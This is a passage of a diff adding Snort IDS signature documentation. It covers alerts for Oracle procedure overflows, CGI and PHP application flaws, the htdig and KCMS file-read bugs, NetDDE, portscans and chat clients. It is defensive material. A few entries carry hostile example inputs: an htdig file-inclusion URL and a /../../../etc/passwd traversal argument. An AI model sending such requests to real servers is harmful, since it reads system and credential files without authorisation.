+of exploitation against a host.
+
+-- 
+Ease of Attack: 
+Simple. Many scanning tools exist.
+
+-- 
+False Positives:
+None Known.
+
+--
+False Negatives:
+None Known.
+
+-- 
+Corrective Action:
+Check the target host for signs of compromise.
+
+Ensure the system is up to date with any appropriate vendor supplied patches.
+
+--
+Contributors:
+Martin Roesch <roesch@sourcefire.com>
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1644.txt
+++ snort-2.8.5.2/doc/signatures/1644.txt
@@ -0,0 +1,69 @@
+Rule:
+
+--
+Sid:
+1644
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability in a CGI web application running on a server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server or application. Possible execution
+of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to gain unauthorized
+access to a CGI application running ona web server. Some applications do
+not perform stringent checks when validating the credentials of a client
+host connecting to the services offered on a host server. This can lead
+to unauthorized access and possibly escalated privileges to that of the
+administrator. Data stored on the machine can be compromised and trust
+relationships between the victim server and other hosts can be exploited by the attacker.
+
+If stringent input checks are not performed by the CGI application, it
+may also be possible for an attacker to execute system binaries or
+malicious code of the attackers choosing.
+
+--
+Affected Systems:
+	All systems running CGI applications
+
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her
+own credentials to gain access. Alternatively the attacker can exploit
+weaknesses to gain access as the administrator by supplying input of
+their choosing to the underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2776.txt
+++ snort-2.8.5.2/doc/signatures/2776.txt
@@ -0,0 +1,69 @@
+Rule: 
+
+--
+Sid: 
+2776
+
+-- 
+Summary: 
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database server.
+
+-- 
+Impact: 
+Serious. Possible execution of arbitrary code and Denial of Service.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database implementation. Multiple buffer
+overflow conditions are present in numerous packages and procedures.
+
+Exploitation of these vulnerable procedures may allow an attacker to
+execute code of their choosing as the user running the database. In the
+case of databases running on Microsoft Windows platforms, this is the
+Local System account which may mean a compromise of the operating system
+as well as the database.
+
+This event indicates that an attempt has been made to exploit a
+vulnerability in the procedure drop_priority_raw
+. This procedure is included in
+dbms_repcat.
+
+--
+Affected Systems:
+	Oracle Oracle9i
+
+--
+Attack Scenarios: 
+If an attacker can supply enough data to the procedure in question, it
+may be possible to cause the overflow condition to occur and present the
+attacker with the opportunity to execute code of their choosing.
+
+-- 
+Ease of Attack: 
+Simple.
+
+-- 
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+-- 
+Corrective Action: 
+Apply the appropriate vendor supplied patch
+
+--
+Contributors: 
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Alex Kirk <alex.kirk@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2786.txt
+++ snort-2.8.5.2/doc/signatures/2786.txt
@@ -0,0 +1,69 @@
+Rule: 
+
+--
+Sid: 
+2786
+
+-- 
+Summary: 
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database server.
+
+-- 
+Impact: 
+Serious. Possible execution of arbitrary code and Denial of Service.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database implementation. Multiple buffer
+overflow conditions are present in numerous packages and procedures.
+
+Exploitation of these vulnerable procedures may allow an attacker to
+execute code of their choosing as the user running the database. In the
+case of databases running on Microsoft Windows platforms, this is the
+Local System account which may mean a compromise of the operating system
+as well as the database.
+
+This event indicates that an attempt has been made to exploit a
+vulnerability in the procedure generate_replication_package
+. This procedure is included in
+dbms_repcat.
+
+--
+Affected Systems:
+	Oracle Oracle9i
+
+--
+Attack Scenarios: 
+If an attacker can supply enough data to the procedure in question, it
+may be possible to cause the overflow condition to occur and present the
+attacker with the opportunity to execute code of their choosing.
+
+-- 
+Ease of Attack: 
+Simple.
+
+-- 
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+-- 
+Corrective Action: 
+Apply the appropriate vendor supplied patch
+
+--
+Contributors: 
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Alex Kirk <alex.kirk@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/100000539.txt
+++ snort-2.8.5.2/doc/signatures/100000539.txt
@@ -0,0 +1,75 @@
+Rule:
+
+--
+Sid:
+100000539
+--
+Summary:
+This event is generated when an attempt is made to exploit an SQL injection 
+vulnerability in the "thinkWMS" application running on a webserver. Access to 
+the file "printarticle.php" with SQL commands being passed as the "id" 
+parameter may indicate that an exploitation attempt has been attempted. 
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized 
+administrative access to the server or application. Possible execution of 
+arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to inject SQL code from a 
+remote machine via the "id" parameter in the "printarticle.php" script used by 
+the "thinkWMS" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also 
+be possible for an attacker to compromise the database backend for the 
+application, the attacker may also be able to execute system binaries or 
+malicious code of their choosing.
+
+This event is generated when an attempt is made to gain unauthorized access to 
+a CGI application running ona web server. Some applications do not perform 
+stringent checks when validating the credentials of a client host connecting to 
+the services offered on a host server. This can lead to unauthorized access and 
+possibly escalated privileges to that of the administrator. Data stored on the 
+machine can be compromised and trust relationships between the victim server 
+and other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+All systems running CGI applications using thinkWMS
+--
+Attack Scenarios:
+An attacker can inject SQL commands to the backend database for an application 
+if user input is not correctly sanitized or checked before passing that input 
+to the database.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had 
+all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+--
+Additional References:
+
+SQL Injection Attack and Defense
+http://www.securitydocs.com/library/3587
+
+--
+
--- snort-2.8.5.2.orig/doc/signatures/1600.txt
+++ snort-2.8.5.2/doc/signatures/1600.txt
@@ -0,0 +1,60 @@
+Rule:  
+
+--
+Sid:
+1600
+
+--
+Summary:
+This event is generated when an attempt is made to read a file on a host using a well known vulnerability in htdig.
+
+--
+Impact:
+Severe. Unauthorized file access
+
+--
+Detailed Information:
+Some versions of htdig allow inclusions to be made from configuration files as a parameter to the htsearch function. Any file can be included by enclosing it in single quotes ('foo').
+
+Using this vulnerability, any single quoted input string (`....`) is included as an index file by htsearch. This allows an attacker to read any file on the host.
+
+This event is generated when a request is made to the cgi script htsearch with file inclusion attempted. Refer to the rule with sid 1601 for further exploitation attempts.
+
+--
+Affected Systems:
+HTDig versions 3.1.1, 3.1.2, 3.1.3, 3.1.4 and 3.2.0b1
+
+--
+Attack Scenarios:
+An attacker can try to include a file in the search parameters for htdig by using the -c flag. For example:
+http://www.foo.com/cgi-bin/htsearch?-c%60/anyfile%60
+
+--
+Ease of Attack:
+Simple. No exploit scripts required
+
+--
+False Positives:
+None known
+
+--
+False Negatives:
+None known
+
+--
+Corrective Action:
+Upgrade to the latest non-affected version of the software.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+Related Snort documentation contributed by Ueli Kistler, <u.kistler@engagesecurity.com>
+
+-- 
+Additional References:
+Bugtraq:
+http://www.securityfocus.com/bid/1026
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2773.txt
+++ snort-2.8.5.2/doc/signatures/2773.txt
@@ -0,0 +1,69 @@
+Rule: 
+
+--
+Sid: 
+2773
+
+-- 
+Summary: 
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database server.
+
+-- 
+Impact: 
+Serious. Possible execution of arbitrary code and Denial of Service.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database implementation. Multiple buffer
+overflow conditions are present in numerous packages and procedures.
+
+Exploitation of these vulnerable procedures may allow an attacker to
+execute code of their choosing as the user running the database. In the
+case of databases running on Microsoft Windows platforms, this is the
+Local System account which may mean a compromise of the operating system
+as well as the database.
+
+This event indicates that an attempt has been made to exploit a
+vulnerability in the procedure drop_priority_nchar
+. This procedure is included in
+dbms_repcat.
+
+--
+Affected Systems:
+	Oracle Oracle9i
+
+--
+Attack Scenarios: 
+If an attacker can supply enough data to the procedure in question, it
+may be possible to cause the overflow condition to occur and present the
+attacker with the opportunity to execute code of their choosing.
+
+-- 
+Ease of Attack: 
+Simple.
+
+-- 
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+-- 
+Corrective Action: 
+Apply the appropriate vendor supplied patch
+
+--
+Contributors: 
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Alex Kirk <alex.kirk@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2213.txt
+++ snort-2.8.5.2/doc/signatures/2213.txt
@@ -0,0 +1,56 @@
+Rule:  
+
+--
+Sid:
+2213
+
+--
+Summary:
+This event is generated when an attempt is made to access mailfile.cgi on an internal web server. This may indicate an attempt to exploit a file disclosure vulnerability in Oatmeal Studios Mail File 1.10.
+
+--
+Impact:
+Information disclosure.
+
+--
+Detailed Information:
+Mail File 1.10 is a Perl script that allows web site visitors to email files to any user using an online form. It contains a vulnerability where an attacker can craft a URL with an arbitrary file name in the "filename" argument. If the file exists on the server, it is emailed to the address that the attacker specifies in the URL. 
+
+--
+Affected Systems:
+Systems running Oatmeal Studios Mail File 1.10.
+
+--
+Attack Scenarios:
+An attacker sends a specially crafted HTTP request to a vulnerable web server with /../../../etc/passwd as the filename argument. If the web server's password file exists at that location, it is sent to the email address specified in the URL.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+If a legitimate remote user accesses mailfile.cgi, this rule may generate an event.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Disable mailfile.cgi.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+Sourcefire Technical Publications Team
+Jennifer Harvey <jennifer.harvey@sourcefire.com>
+
+-- 
+Additional References:
+Bugtraq
+http://www.securityfocus.com/bid/1807
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2058.txt
+++ snort-2.8.5.2/doc/signatures/2058.txt
@@ -0,0 +1,58 @@
+Rule:
+
+--
+Sid:
+2058
+
+--
+Summary:
+vulnerability in MondoSearch.
+
+--
+Impact:
+Information disclosure
+
+--
+Detailed Information:
+Versions of MondoSearch prior to 4.4.5156 use a vulnerable version of a 
+cgi script named msmmask.exe. This script allows the attacker to view 
+the source of any file in a webservers root directory.
+
+--
+Affected Systems:
+MondoSearch versions prior to 4.4.5156.
+
+--
+Attack Scenarios:
+The attacker needs to access the msmmask.exe script and request a file 
+in the servers web directory.
+
+--
+Ease of Attack:
+Simple
+
+--
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+--
+Corrective Action:
+Upgrade the application to at least version 4.4.5156 or higher.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+Nessus:
+http://cgi.nessus.org/plugins/dump.php3?id=11163
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2964.txt
+++ snort-2.8.5.2/doc/signatures/2964.txt
@@ -0,0 +1,68 @@
+Rule:
+
+--
+Sid:
+2964
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known
+vulnerability in Microsoft Network Dynamic Data Exchange (NetDDE)
+services.
+
+--
+Impact:
+Serious. Execution of arbitrary code with system level privileges
+
+--
+Detailed Information:
+A vulnerability exists in Microsoft NetDDE that may allow an attacker to
+run code of their choosing with system level privileges. A programming
+error in the handling of network messages may give an attacker the
+opportunity to overflow a fixed length buffer by using a specially
+crafted NetDDE message.
+
+This service is not started by default on Microsoft Windows systems, but
+this issue can also be exploited locally in an attempt to escalate
+privileges after a successful attack from an alternate vector.
+
+--
+Affected Systems:
+	Microsoft Windows NT, 2000, 2003, XP, 98 and ME systems.
+
+--
+Attack Scenarios:
+An attacker needs to craft a special NetDDE message in order to overflow
+the affected buffer.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches
+
+Disable the NetDDE service.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+Microsoft Security Bulletin MS04-031:
+http://www.microsoft.com/technet/security/bulletin/ms04-031.mspx
+
+--
--- snort-2.8.5.2.orig/doc/signatures/115-4.txt
+++ snort-2.8.5.2/doc/signatures/115-4.txt
@@ -0,0 +1,69 @@
+
+
+Rule:
+
+--
+Sid:
+115-4
+
+--
+Summary:
+This event is generated when the pre-processor asn1 detects network
+traffic that may constitute an attack. Specifically an asn.1 spec
+violation, indicating a possible overflow attempt was detected.
+
+--
+Impact:
+Unknown.
+
+--
+Detailed Information:
+This event is generated when the asn1 pre-processor detects network
+traffic that may consititute an attack.
+
+This may indicate an attempt to overflow a fixed length buffer in an
+application using the asn1 libraries.
+
+More information on this event can be found in the individual
+pre-processor documentation README.asn1 in the docs directory of the
+snort source. Detailed instructions and examples on how to tune and use
+the pre-processor can also be found in the same document.
+
+--
+Affected Systems:
+	All.
+
+--
+Attack Scenarios:
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+None Known.
+
+--
+False Negatives:
+None Known.
+
+--
+Corrective Action:
+Check the target host for signs of compromise.
+
+Apply any appropriate vendor supplied patches.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Daniel Roelker <droelker@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+ASN1 Information Site:
+http://asn1.elibel.tm.fr/
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2588.txt
+++ snort-2.8.5.2/doc/signatures/2588.txt
@@ -0,0 +1,65 @@
+Rule:
+
+--
+Sid:
+2588
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability in the PHP web application TUTOS.
+
+--
+Impact:
+Information gathering.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to exploit a known 
+vulnerability in the PHP web application TUTOS. The PHP application
+TUTOS is vulnerable to a path disclosure bug which may allow an attacker
+to gain information that can be used in further attacks against the
+system.
+
+The vulnerability surrounds the file note_overview.php, by manipulating
+input to the file an attacker may be presented with sensitive
+information regarding the system.
+
+--
+Affected Systems:
+	All systems using TUTOS.
+
+--
+Attack Scenarios:
+An attacker can leverage this vulnerability to gain information that may
+be useful in further attacks against the system.
+
+--
+Ease of Attack:
+Simple. Exploit software is not required.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+Check the host logfiles and application logs for signs of compromise.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Alex Kirk <alex.kirk@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2005.txt
+++ snort-2.8.5.2/doc/signatures/2005.txt
@@ -0,0 +1,90 @@
+Rule:
+
+--
+Sid:
+2005
+
+--
+Summary:
+KCMS (Kodak Color Management System) is an RPC (Remote Procedure Call)
+service for Sun Solaris operating systems. It is able to read profiles
+stored on remote machines. It is possible for an attacker to bypass
+directory traversal checks and read any file on the remote system.
+
+--
+Impact:
+Possible theft of data and control of the targeted machine leading to a
+compromise of all resources on the machine not limited to user accounts
+and business data.
+
+--
+Detailed Information:
+The attacker first needs to create a directory under
+/etc/openwin/devdata/profiles or /usr/openwin/etc/devdata/profiles,
+using the ToolTalk database server is one method of creating a
+directory. Once this has been achieved, the attacker is then able to
+perform the directory traversal.
+
+The directory traversal allows the attacker to read any file on the
+compromised system. Once a sensitive system file such as the system
+password database has been retrieved, the attacker may use other tools
+at his leisure to discover username and password information. This may
+lead to further system compromise.
+
+The KCMS daemon runs with root privileges and is typically started on
+boot via inetd. The ToolTalk database server is also commonly installed
+and started in this manner. The KCMS daemon usually listens on UDP port
+32871 although this can vary.
+
+--
+Affected Systems:
+	Sun Microsystems Solaris 2.5.1 (Sparc/Intel)
+	Sun Microsystems Solaris 2.6 (Sparc/Intel)
+	Sun Microsystems Solaris 7 (Sparc/Intel)
+	Sun Microsystems Solaris 8 (Sparc/Intel)
+	Sun Microsystems Solaris 9 (Sparc/Intel)
+
+--
+Attack Scenarios:
+The ToolTalk database server procedure TT_ISBUILD can be used to create
+a directory named TT_DB anywhere on a remote system. Creation of this
+directory then allows the attacker to use directory traversal to further
+compromise the machine.
+
+--
+Ease of Attack:
+Once the directory has been created, further compromise is simple.
+
+--
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+--
+Corrective Action:
+Disable the KCMS daemon in the file /etc/inetd.conf. Kill any running
+KCMS processes and restart the inet daemon.
+
+Configure your firewall to restrict external access to the TCP and UDP
+port 111 used by the RPC port mapper service and the range used by RPC
+services, typically 32700 to 34000.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+CERT:
+http://www.kb.cert.org/vuls/id/850785
+
+CVE:
+http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2003-0027
+
+--
--- snort-2.8.5.2.orig/doc/signatures/100000367.txt
+++ snort-2.8.5.2/doc/signatures/100000367.txt
@@ -0,0 +1,58 @@
+
+
+Rule:
+
+--
+Sid:
+100000367
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a remote file include vulnerability in the "phpNuke" application running on a webserver. Access to the file "admin_board.php" using a remote file being passed as the "phpbb_root_path" parameter may indicate that an exploitation attempt has been attempted. 
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized administrative access to the server or application. Possible execution of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to include a file from a remote machine via the "phpbb_root_path" parameter in the "admin_board.php" script used by the "phpNuke" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also be possible for an attacker to execute system binaries or malicious code of the attackers choosing.
+
+This event is generated when an attempt is made to gain unauthorized access to a CGI application running ona web server. Some applications do not perform stringent checks when validating the credentials of a client host connecting to the services offered on a host server. This can lead to unauthorized access and possibly escalated privileges to that of the administrator. Data stored on the machine can be compromised and trust relationships between the victim server and other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+All systems running CGI applications using phpNuke
+
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her own credentials to gain access. Alternatively the attacker can exploit weaknesses to gain access as the administrator by supplying input of their choosing to the underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
+
--- snort-2.8.5.2.orig/doc/signatures/2990.txt
+++ snort-2.8.5.2/doc/signatures/2990.txt
@@ -0,0 +1,62 @@
+Rule:
+
+--
+Sid:
+2990
+
+--
+Summary:
+This event is generated when an attempt is made to bind to the winreg
+service.
+
+--
+Impact:
+Unknown.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to bind to the RPC
+service for winreg.
+
+--
+Affected Systems:
+	Windows systems
+
+--
+Attack Scenarios:
+An attacker may attempt to bind to the service to manipulate host
+settings.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Block access to RPC ports 135, 139 and 445 for both TCP and UDP 
+protocols from external sources using a packet filtering firewall.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+Microsoft Technet
+http://support.microsoft.com/support/kb/articles/q153/1/83.asp
+CVE
+http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-1999-0562
+Winreg
+http://www.rutherfurd.net/python/winreg/
+
+--
--- snort-2.8.5.2.orig/doc/signatures/122-14.txt
+++ snort-2.8.5.2/doc/signatures/122-14.txt
@@ -0,0 +1,93 @@
+
+
+Rule:
+
+--
+Sid:
+122-14
+
+--
+Summary:
+This event is generated when the pre-processor sfPortscan detects
+network traffic that may constitute an attack. Specifically an ip
+filtered decoy protocol scan was detected.
+
+--
+Impact:
+Unknown. This is normally an indicator of possible network
+reconnaisance and may be the prelude to a targeted attack against the
+targeted systems.
+
+--
+Detailed Information:
+This event is generated when the sfPortscan pre-processor detects
+network traffic that may consititute an attack.
+
+A portscan is often the first stage in a targeted attack against a
+system. An attacker can use different portscanning techniques and tools
+to determine the target host operating system and application versions
+running on the host to determine the possible attack vectors against
+that host.
+
+More information on this event can be found in the individual
+pre-processor documentation README.sfportscan in the docs directory of
+the snort source. Descriptions of different types of portscanning
+techniques can also be found in the same documentation, along with
+instructions and examples on how to tune and use the pre-processor.
+
+--
+Affected Systems:
+	All.
+
+--
+Attack Scenarios:
+An attacker often uses a portscanning technique to determine operating
+system type and version and also application versions to determine
+possible effective attack vectors that can be used against the target
+host.
+
+--
+Ease of Attack:
+Simple. Many portscanning tools are freely available.
+
+--
+False Positives:
+While not necessarily a false positive, a security audit or penetration
+test will often employ the use of a portscan in the same way an
+attacker might use the technique. If this is the case, the
+pre-processor should be tuned to ignore the audit if so desired.
+
+--
+False Negatives:
+None Known.
+
+--
+Corrective Action:
+Check for other events targeting the host.
+
+Check the target host for signs of compromise.
+
+Apply any appropriate vendor supplied patches as appropriate.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Daniel Roelker <droelker@sourcefire.com>
+Marc Norton    <mnorton@sourcefire.com>
+Jeremy Hewlett <jh@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+Nmap:
+http://www.insecure.org/nmap/
+
+Port Scanning Techniques and the Defense Against Them - Roger
+Christopher, SANS:
+http://www.sans.org/rr/whitepapers/auditing/70.php
+
+Hypervivid Tiger Team - Port-Scanning: A Practical Approach
+http://www.hcsw.org/reading/nmapguide.txt
+
+--
--- snort-2.8.5.2.orig/doc/signatures/540.txt
+++ snort-2.8.5.2/doc/signatures/540.txt
@@ -0,0 +1,57 @@
+Rule:
+
+--
+Sid: 540
+
+--
+Summary:
+This event is generated when activity relating to network chat clients is detected.
+
+--
+Impact:
+Policy Violation. Use of chat clients to communicate with unkown external sources may be against the policy of many organizations.
+
+--
+Detailed Information:
+Instant Messaging (IM) and other chat related client software can allow users to transfer files directly between hosts. This can allow malicious users to circumvent the protection offered by a network firewall.
+
+Vulnerabilities in these clients may also allow remote attackers to gain unauthorized access to a host.
+
+--
+Attack Scenarios:
+A user may transfer sensitive company information to an external party using the file transfer capabilities of an IM client.
+
+An attacker might utilize a vulnerability in an IM client to gain access to a host, then upload a Trojan Horse program to gain control of that host.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+--
+Corrective Action:
+Disallow the use of IM clients on the protected network and enforce or implement an organization wide policy on the use of IM clients.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <brian.caswell@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+MSN Protocol
+http://www.hypothetic.org/docs/msn/
+Devarticles
+http://www.devarticles.com/index2.php?option=content&task=view&id=225&pop=1&hide_ads=1&page=1
+MSN Messenger Protocol
+http://www.venkydude.com/articles/msn.htm
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1559.txt
+++ snort-2.8.5.2/doc/signatures/1559.txt
@@ -0,0 +1,71 @@
+Rule:
+
+--
+Sid:
+1559
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability on a web server or a web application resident on a web
+server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server. Possible execution of arbitrary code of 
+the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to compromise a host
+running a Web server or a vulnerable application on a web server.
+
+Many known vulnerabilities exist for each implementation and the 
+attack scenarios are legion.
+
+Some applications do not perform stringent checks when validating the
+credentials of a client host connecting to the services offered on a
+host server. This can lead to unauthorized access and possibly escalated
+privileges to that of the administrator. Data stored on the machine can
+be compromised and trust relationships between the victim server and 
+other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+	All systems using a web server.
+
+--
+Attack Scenarios:
+Many attack vectors are possible from simple directory traversal to
+exploitation of buffer overflow conditions.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+Check the host logfiles and application logs for signs of compromise.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1469.txt
+++ snort-2.8.5.2/doc/signatures/1469.txt
@@ -0,0 +1,69 @@
+Rule:
+
+--
+Sid:
+1469
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability in a CGI web application running on a server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server or application. Possible execution
+of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to gain unauthorized
+access to a CGI application running ona web server. Some applications do
+not perform stringent checks when validating the credentials of a client
+host connecting to the services offered on a host server. This can lead
+to unauthorized access and possibly escalated privileges to that of the
+administrator. Data stored on the machine can be compromised and trust
+relationships between the victim server and other hosts can be exploited by the attacker.
+
+If stringent input checks are not performed by the CGI application, it
+may also be possible for an attacker to execute system binaries or
+malicious code of the attackers choosing.
+
+--
+Affected Systems:
+	All systems running CGI applications
+
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her
+own credentials to gain access. Alternatively the attacker can exploit
+weaknesses to gain access as the administrator by supplying input of
+their choosing to the underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2911.txt
+++ snort-2.8.5.2/doc/signatures/2911.txt
@@ -0,0 +1,69 @@
+Rule: 
+
+--
+Sid: 
+2911
+
+-- 
+Summary: 
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database server.
+
+-- 
+Impact: 
+Serious. Possible execution of arbitrary code and Denial of Service.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database implementation. Multiple buffer
+overflow conditions are present in numerous packages and procedures.
+
+Exploitation of these vulnerable procedures may allow an attacker to
+execute code of their choosing as the user running the database. In the
+case of databases running on Microsoft Windows platforms, this is the
+Local System account which may mean a compromise of the operating system
+as well as the database.
+
+This event indicates that an attempt has been made to exploit a
+vulnerability in the procedure refresh_snapshot_repschema
+. This procedure is included in
+sys.dbms_repcat_sna.
+
+--
+Affected Systems:
+	Oracle Oracle9i
+
+--
+Attack Scenarios: 
+If an attacker can supply enough data to the procedure in question, it
+may be possible to cause the overflow condition to occur and present the
+attacker with the opportunity to execute code of their choosing.
+
+-- 
+Ease of Attack: 
+Simple.
+
+-- 
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+-- 
+Corrective Action: 
+Apply the appropriate vendor supplied patch
+
+--
+Contributors: 
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Alex Kirk <alex.kirk@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/100000835.txt
+++ snort-2.8.5.2/doc/signatures/100000835.txt
@@ -0,0 +1,56 @@
+
+
+Rule:
+
+--
+Sid:
+100000835
+--
+Summary:
